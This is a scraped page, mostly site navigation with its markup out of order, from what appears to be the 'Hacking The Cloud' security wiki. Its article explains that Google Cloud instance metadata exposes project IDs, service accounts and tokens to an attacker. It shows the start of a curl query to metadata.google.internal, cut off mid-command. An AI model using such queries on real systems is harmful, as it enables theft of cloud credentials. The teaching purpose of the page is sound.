<span class=md-ellipsis> Metadata Endpoints </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#metadata-endpoints class=md-nav__link> <span class=md-ellipsis> Metadata Endpoints </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Jan Slezak</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/general-knowledge/metadata_in_google_cloud_instances.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Metadata in Google Cloud Instances</h1> <p>Metadata can provide an attacker (or regular user) information about the compromised App Engine instance, such as its project ID, service accounts, and tokens used by those service accounts. </p> <p>The metadata can be accessed by a regular HTTP GET request or cURL, sans any third-party client libraries by making a request to metadata.google.internal or 169.254.169.254. </p> <p><div class=highlight><pre><span></span><code>curl &quot;http://metadata.google.internal/computeMetadata/v1/?recursive=true&amp;alt=text&quot; -H
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#metadata-endpoints class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a 